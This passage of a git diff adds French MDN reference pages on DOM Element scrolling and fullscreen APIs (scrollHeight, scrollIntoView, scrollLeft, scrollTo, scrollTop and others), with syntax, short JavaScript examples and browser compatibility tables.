+<p>tbd</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Fullscreen", "#dom-element-requestfullscreen", "Element.requestFullScreen()")}}</td>
+   <td>{{Spec2("Fullscreen")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("webkit")}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("9.0")}} as <code>mozRequestFullScreen</code><sup>[2]</sup><br>
+    {{CompatGeckoDesktop("47.0")}} (behind full-screen-api.unprefix.enabled</td>
+   <td>11{{property_prefix("ms")}}<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("webkit")}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}} as <code>mozRequestFullScreen</code><sup>[2]</sup><br>
+    {{CompatGeckoMobile("47.0")}} (behind full-screen-api.unprefix.enabled</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Également implémenté en tant que <code>webkitRequestFullScreen</code>.</p>
+
+<p>[2] Implémenté en tant que <code>mozRequestFullScreen</code> (remarquez le S majuscule pour <em>Screen</em>). Avant Firefox 44, Gecko autorisait incorrectement les éléments présents dans une  {{HTMLElement('frame')}} ou un {{HTMLElement('object')}} de demander, et d'obtenir, le mode plein écran. Dans les versions 44 et supérieures de Firefox, ceci a été corrigé : seuls les éléments dans le plus haut niveau du document ou dans une {{HTMLElement('iframe')}} avec l'attribut {{htmlattrxref("allowfullscreen", "iframe")}} peuvent être affichés en plein écran.</p>
+
+<p>[3] Voir la <a href="https://msdn.microsoft.com/en-us/library/dn254939%28v=vs.85%29.aspx">documentation sur MSDN</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fullscreen_API">Full-screen API</a></li>
+ <li>{{ domxref("Element.requestFullscreen()") }}</li>
+ <li>{{ domxref("Document.exitFullscreen()") }}</li>
+ <li>{{ domxref("Document.fullscreen") }}</li>
+ <li>{{ domxref("Document.fullscreenElement") }}</li>
+ <li>{{ cssxref(":fullscreen") }}</li>
+ <li>{{ HTMLAttrXRef("allowfullscreen", "iframe") }}</li>
+</ul>
diff --git a/files/fr/web/api/element/scrollheight/index.html b/files/fr/web/api/element/scrollheight/index.html
new file mode 100644
index 0000000000..64aa93f7ae
--- /dev/null
+++ b/files/fr/web/api/element/scrollheight/index.html
@@ -0,0 +1,118 @@
+---
+title: Element.scrollHeight
+slug: Web/API/Element/scrollHeight
+translation_of: Web/API/Element/scrollHeight
+---
+<p>{{ ApiRef() }}</p>
+
+<p>L'attribut en lecture seule <strong><code>element.scrollHeight</code></strong> est une mesure de la hauteur du contenu d'un élément qui inclut le contenu débordant et non visible à l'écran. La valeur <code>scrollHeight</code> est égale à la hauteur minimum dont l'élément aurait besoin pour que le contenu rentre dans le viewpoint sans utiliser de barre de défilement. Cela inclut les marges internes mais pas les marges externes.</p>
+
+<div class="note">
+<p>Cette propriété arrondit la valeur à l'entier le plus proche. Si vous avez besoin d'une valeur précise, utilisez <a href="/fr/docs/DOM/element.getBoundingClientRect">element.getBoundingClientRect()</a>.</p>
+</div>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval">var intElemScrollHeight = document.getElementById(id_attribute_value).scrollHeight;
+</pre>
+
+<p><code>intElemScrollHeight</code> est une variable contenant un entier correspondant à la valeur en pixels de la hauteur défilable de l'élément. <code>scrollHeight</code> est une propriété en lecture seule.</p>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
+
+<p>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
+
+<p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="">Left</strong><strong style="">Top</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong><em>margin-top</em><em>margin-bottom</em><em>border-top</em><em>border-bottom</em><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
+
+<p style="margin-top: 270px;"><img alt="Image:scrollHeight.png" src="/@api/deki/files/840/=ScrollHeight.png"></p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Problèmes et solutions</h2>
+
+<h3 id="Déterminer_si_un_élément_a_complètement_été_défilé">Déterminer si un élément a complètement été défilé</h3>
+
+<p>L'expression suivante renvoie <code>true</code> si l'élément est à la fin du défilement, <code>false</code> si ça ne l'est pas.</p>
+
+<pre class="brush: js">element.scrollHeight - element.scrollTop === element.clientHeight</pre>
+
+<p>Associée à l'événement <a href="/fr/docs/DOM/element.onscroll">element.onscroll</a>, l'expression peut être utile pour déterminer si un utilisateur a lu un texte ou non (voir aussi les propriétés <a href="/fr/docs/DOM/element.scrollTop">element.scrollTop</a> et <a href="/fr/docs/DOM/element.clientHeight">element.clientHeight</a>. Par exemple :</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+function checkReading () {
+  if (checkReading.read) { return; }
+  checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight;
+  document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read;
+  checkReading.noticeBox.innerHTML = checkReading.read ?
+    "Merci." :
+    "Veuillez faire défiler la page et lire le texte qui suit.";
+}
+
+onload = function () {
+  var oToBeRead = document.getElementById("rules");
+  checkReading.noticeBox = document.createElement("span");
+  document.registration.accept.checked = false;
+  checkReading.noticeBox.id = "notice";
+  oToBeRead.parentNode.insertBefore(checkReading.noticeBox, oToBeRead);
+  oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead);
+  oToBeRead.onscroll = checkReading;
+  checkReading.call(oToBeRead);
+}</pre>
+
+<p><a href="https://developer.mozilla.org/files/4589/readme-example.html">Voir l'exemple en action</a></p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<p><code>scrollHeight</code> fait partie du modèle objet <abbr title="Dynamic HyperText Markup Language">DHTML</abbr> de Microsoft Internet Explorer. Elle fait partie de la spécification : {{ SpecName("CSSOM View") }}.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Navigateur</th>
+   <th scope="col">Version</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Internet Explorer</td>
+   <td><strong>8.0</strong></td>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko)</td>
+   <td><strong>3.0</strong> (1.9)</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>Safari | Chrome | Webkit</td>
+   <td><strong>4.0</strong> | <strong>4.0</strong> | ?</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>Dans les versions inférieures à Firefox 21 :</strong> quand le contenu d'un élément ne génère pas de barre de défilement verticale, alors sa propriété <code>scrollHeight</code> est égale à sa propriété <code>clientHeight</code>. Cela signifie soit que le contenu est trop court pour avoir besoin d'une barre de défilement, soit que la propriété CSS<code> {{ cssxref("overflow") }}</code> de l'élément a pour valeur <code>visible</code>.</p>
+
+<h2 id="Voir_aussi" name="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN: Measuring Element Dimension and Location with CSSOM in Windows Internet Explorer 9</a></li>
+ <li><a href="/fr/docs/DOM/element.clientHeight">element.clientHeight</a></li>
+ <li><a href="/fr/docs/DOM/element.offsetHeight">element.offsetHeight</a></li>
+</ul>
diff --git a/files/fr/web/api/element/scrollintoview/index.html b/files/fr/web/api/element/scrollintoview/index.html
new file mode 100644
index 0000000000..bdf1b8d8e5
--- /dev/null
+++ b/files/fr/web/api/element/scrollintoview/index.html
@@ -0,0 +1,86 @@
+---
+title: element.scrollIntoView
+slug: Web/API/Element/scrollIntoView
+tags:
+  - API
+  - DOM
+  - Element
+  - Méthodes
+translation_of: Web/API/Element/scrollIntoView
+---
+<div>{{ APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>La méthode <code><strong>Element.scrollIntoView()</strong></code> fait défiler la page de manière à rendre l'élément visible.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">element.scrollIntoView();
+element.scrollIntoView(<var>alignToTop</var>); // Paramètre booléen
+element.scrollIntoView(<var>scrollIntoViewOptions</var>); // Paramètre d'objet
+</pre>
+
+<dl>
+ <dt>
+ <h3 id="Paramètres">Paramètres</h3>
+ </dt>
+ <dt><code>alignToTop</code> {{ optional_inline() }}</dt>
+ <dd>
+ <p>est une valeur {{jsxref("Boolean")}} optionnelle qui :</p>
+
+ <ul>
+  <li>si elle vaut <code>true</code> (<em>vrai</em>), aligne l'élément avec le haut de la zone visible de l'ancêtre défilable. Correspond à <code>scrollIntoViewOptions: {block: "start", inline: "nearest"}</code>. C'est la valeur par défaut.</li>
+  <li>Si elle vaut <code>false</code> (<em>faux</em>), celui-ci sera aligné en bas de la zone visible de l'ancêtre défilable. Correspond à <code>scrollIntoViewOptions: {block: "end", inline: "nearest"}</code>.</li>
+ </ul>
+ </dd>
+ <dt><code>scrollIntoViewOptions</code> {{optional_inline}} {{experimental_inline}}</dt>
+ <dd>Est un objet qui a les propriétés suivantes :</dd>
+ <dt><code>behavior</code> {{optional_inline}}</dt>
+ <dd>Définit l'animation de transition qui peut être <code>"auto"</code>, <code>"instant"</code> ou <code>"smooth"</code>. Par défaut : <code>"auto"</code>.</dd>
+ <dt><code>block</code> {{optional_inline}}</dt>
+ <dd>L'une des options  <code>"start"</code>, <code>"center"</code>, <code>"end"</code> ou<code>"nearest"</code>. Par défaut : <code>"center"</code>.</dd>
+ <dt><code>inline</code> {{optional_inline}}</dt>
+ <dd>L'une des options <code>"start"</code>, <code>"center"</code>, <code>"end"</code> ou <code>"nearest"</code>. Par défaut : <code>"nearest"</code>.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var element = document.getElementById("box");
+
+element.scrollIntoView();
+element.scrollIntoView(false);
+element.scrollIntoView({block: "end"});
+element.scrollIntoView({behavior: "smooth", block: "end", inline: "nearest"});
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>L'élément peut ne pas être aligné complètement avec le haut ou le bas, selon la disposition des autres éléments.</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-element-scrollintoview", "Element.scrollIntoView()")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Element.scrollIntoView")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.scrollIntoViewIfNeeded()")}}<a href="/en-US/docs/Web/API/Element/scrollIntoViewIfNeeded"> </a>{{non-standard_inline}}</li>
+</ul>
diff --git a/files/fr/web/api/element/scrollintoviewifneeded/index.html b/files/fr/web/api/element/scrollintoviewifneeded/index.html
new file mode 100644
index 0000000000..2524b1cf9a
--- /dev/null
+++ b/files/fr/web/api/element/scrollintoviewifneeded/index.html
@@ -0,0 +1,97 @@
+---
+title: Element.scrollIntoViewIfNeeded()
+slug: Web/API/Element/scrollIntoViewIfNeeded
+tags:
+  - API
+  - DOM
+  - Element
+  - Méthodes
+translation_of: Web/API/Element/scrollIntoViewIfNeeded
+---
+<div>{{APIRef("DOM")}}{{Non-standard_header}}</div>
+
+<p>La méthode <code><strong>Element.scrollIntoViewIfNeeded()</strong></code> fait défiler l'élément en cours dans la zone visible de la fenêtre du navigateur s'il n'y est pas déjà. Si l'élément est déjà dans la zone visible de la fenêtre du navigateur, aucun défilement n'a lieu. Cette méthode est une variante propriétaire de la méthode standard <a href="/en-US/docs/Web/API/Element/scrollIntoView"><code>Element.scrollIntoView()</code></a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>À faire.</p>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em><code>opt_center</code></em></dt>
+ <dd>Est une valeur {{jsxref("Boolean")}} facultative avec la valeur <code>true</code> par défaut :
+ <ul>
+  <li>Si <code>true</code> (<em>vrai</em>), l'élément sera aligné sur le centre de la zone visible de l'ancêtre défilable.</li>
+  <li>Si <code>false</code> (<em>faux</em>), l'élément sera aligné sur le bord le plus proche de la zone visible de l'ancêtre défilable. Selon le bord de la zone visible le plus proche de l'élément, soit le haut de l'élément sera aligné sur le bord supérieur de la zone visible, soit le bord inférieur de l'élément sera aligné sur le bord inférieur de la zone visible .</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>À faire</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification. C'est une méthode propriétaire propre à WebKit.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] {{bug(403510)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=17152">W3C CSSOM bug 17152 : Support centrant un élément lors du défilement dans la vue.</a> (<span class="short_text" id="result_box" lang="fr"><span>demande de fonctionnalité pour un équivalent standardisé à</span></span> <code>scrollIntoViewIfNeeded</code>)</li>
+</ul>
diff --git a/files/fr/web/api/element/scrollleft/index.html b/files/fr/web/api/element/scrollleft/index.html
new file mode 100644
index 0000000000..da44c622ff
--- /dev/null
+++ b/files/fr/web/api/element/scrollleft/index.html
@@ -0,0 +1,71 @@
+---
+title: element.scrollLeft
+slug: Web/API/Element/scrollLeft
+tags:
+  - DOM
+  - DOM_0
+translation_of: Web/API/Element/scrollLeft
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p>Définit ou obtient le nombre de pixels dont le contenu est défilé vers la gauche.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">// Obtient le nombre de pixels défilés
+var <var>sLeft</var> = <var>element</var>.scrollLeft;
+</pre>
+
+<p><var>sLeft</var> est un entier représentant le nombre de pixels dont <var>element</var> a été défilé vers la gauche.</p>
+
+<pre class="eval">// Définit le nombre de pixels défilés
+<var>element</var>.scrollLeft = 10;
+</pre>
+
+<p><strong>scrollLeft</strong> peut être n'importe quelle valeur entière, cependant :</p>
+
+<ul>
+ <li>Si l'élément ne peut pas défiler (par exemple parce qu'il ne déborde pas), <code>scrollLeft</code> est mis à 0.</li>
+ <li>S'il reçoit une valeur inférieure à 0, <code>scrollLeft</code> est mis à 0.</li>
+ <li>S'il reçoit une valeur plus grande que le maximum dont le contenu peut défiler, <code>scrollLeft</code> est mis au maximum.</li>
+</ul>
+
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+
+<pre>&lt;script type="text/javascript"&gt;
+
+function doScrollLeft(el, p)
+{
+  el.scrollLeft = p;
+}
+
+&lt;/script&gt;
+
+&lt;div id="aDiv"
+     style="width: 100px; height: 200px; overflow: auto;"
+&gt;
+&lt;script type="text/javascript"&gt;
+for (var i=0; i&lt;100; ++i){
+  document.write(i + '-FooBar-FooBar-FooBar&lt;br&gt;');
+}
+&lt;/script&gt;
+&lt;/div&gt;
+&lt;br&gt;
+&lt;input type="button" value="Défile de 50 pixels"
+       onclick="doScrollLeft(document.getElementById('aDiv'), 50);"
+&gt;
+</pre>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<p>{{ DOM0() }}</p>
+
+<h3 id="R.C3.A9f.C3.A9rences" name="R.C3.A9f.C3.A9rences">Références</h3>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/scrollleft.asp"><em>scrollLeft</em> sur MSDN</a></li>
+</ul>
+
+<p>{{ languages( { "en": "en/DOM/element.scrollLeft", "pl": "pl/DOM/element.scrollLeft" } ) }}</p>
diff --git a/files/fr/web/api/element/scrollleftmax/index.html b/files/fr/web/api/element/scrollleftmax/index.html
new file mode 100644
index 0000000000..29c1026e81
--- /dev/null
+++ b/files/fr/web/api/element/scrollleftmax/index.html
@@ -0,0 +1,76 @@
+---
+title: Element.scrollLeftMax
+slug: Web/API/Element/scrollLeftMax
+translation_of: Web/API/Element/scrollLeftMax
+---
+<p>{{APIRef("DOM")}}{{Non-standard_header}}</p>
+
+<p>La propriété non modifiable  <code><strong>Element.scrollLeftMax</strong></code> renvoie un  {{jsxref("Number")}} représentant la distance restante de défilement vers la gauche de l'élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>var <em>pxl</em> = <em>elt</em>.scrollLeftMax;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p><em>Cette propriété ne fait partie d'aucune spécification.</em></p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Compatibilité</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoDesktop(16) }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Compatibilité</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoMobile(16) }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.scrollTopMax")}} renvoie la distance restante de défilement vers le haut de l'élément.</li>
+</ul>
diff --git a/files/fr/web/api/element/scrollto/index.html b/files/fr/web/api/element/scrollto/index.html
new file mode 100644
index 0000000000..916beabbcb
--- /dev/null
+++ b/files/fr/web/api/element/scrollto/index.html
@@ -0,0 +1,80 @@
+---
+title: Element.scrollTo()
+slug: Web/API/Element/scrollTo
+tags:
+  - API
+  - Element
+  - Méthode
+  - Reference
+  - scrollTo
+translation_of: Web/API/Element/scrollTo
+---
+<div>{{ APIRef }}</div>
+
+<p>La méthode <code><strong>scrollTo()</strong></code><strong> </strong>de l'interface {{domxref("Element")}} permet de faire défiler le document jusqu'à un jeu de coordonnées particulier.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">element.scrollTo(<em>x-coord</em>, <em>y-coord</em>)
+element.scrollTo(<em>options</em>)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<ul>
+ <li><code>x-coord</code> est le pixel le long de l'axe horizontal du document qui doit être affiché en haut à gauche.</li>
+ <li><code>y-coord</code> est le pixel le long de l'axe vertical du document qui doit être affiché en haut à gauche.</li>
+</ul>
+
+<p>- ou -</p>
+
+<ul>
+ <li><code>options</code> est un dictionnaire de type {{domxref("ScrollToOptions")}}.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<p>En utilisant des coordonnées :</p>
+
+<pre class="brush:js">element.scrollTo(0, 1000);
+</pre>
+
+<p>Ou en utilisant <code>options</code> :</p>
+
+<pre class="brush: js">element.scrollTo({
+  top: 100,
+  left: 100,
+  behavior: 'smooth'
+});</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-element-scrollto-options-options', 'element.scrollTo()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité">Compatibilité</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer à ces données, veuillez consulter le site https://github.com/mdn/browser-compat-data et nous envoyer une demande d'extraction.</div>
+
+<p>{{Compat("api.Element.scrollTo")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.scrollTop")}}, {{domxref("Element.scrollLeft")}}</li>
+ <li>{{domxref("Window.scrollTo()")}}</li>
+</ul>
diff --git a/files/fr/web/api/element/scrolltop/index.html b/files/fr/web/api/element/scrolltop/index.html
new file mode 100644
index 0000000000..dfd5c0f31a
--- /dev/null
+++ b/files/fr/web/api/element/scrolltop/index.html
@@ -0,0 +1,55 @@
+---
+title: element.scrollTop
+slug: Web/API/Element/scrollTop
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Element/scrollTop
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Définit ou obtient le nombre de pixels dont le contenu de l'élément a défilé vers le haut.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval"><span style="color: rgb(153, 153, 153);">// Obtient le nombre de pixels défilés</span>
+<span style="color: rgb(128, 0, 128);">var</span> <var> intElemScrollTop</var> = <var>element</var>.scrollTop;
+</pre>
+<p><var>intElemScrollTop</var> est un entier correspondant au nombre de pixels dont le contenu d'<var>element</var> a défilé vers le haut.</p>
+<pre class="eval"><span style="color: rgb(153, 153, 153);">// Définit le nombre de pixels défilés</span>
+<var>element</var>.scrollTop = <var>intValue</var>;
+</pre>
+<p><strong>scrollTop</strong> peut avoir n'importe quelle valeur entière, cependant :</p>
+<ul>
+ <li>Si l'élément ne peut pas défiler (par exemple parce qu'il ne déborde pas), <code>scrollTop</code> est mis à 0.</li>
+ <li>S'il est défini à une valeur inférieure à 0, <code>scrollTop</code> est mis à 0.</li>
+ <li>S'il est défini à une valeur plus grande que le maximum dont le contenu peut défiler, <code>scrollTop</code> est mis au maximum.</li>
+</ul>
+<h3 id="Description" name="Description">Description</h3>
+<p>L'attribut <b>scrollTop</b> d'un élément est la mesure de la distance entre le haut de cet élément et le point le plus haut de son contenu visible.</p>
+<p>Lorsqu'un élément ne génère pas de barre de défilement vertical, sa valeur <code>scrollTop</code> vaut 0.</p>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+ <div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+  <p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+  <p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
+  <p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
+  <p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p>
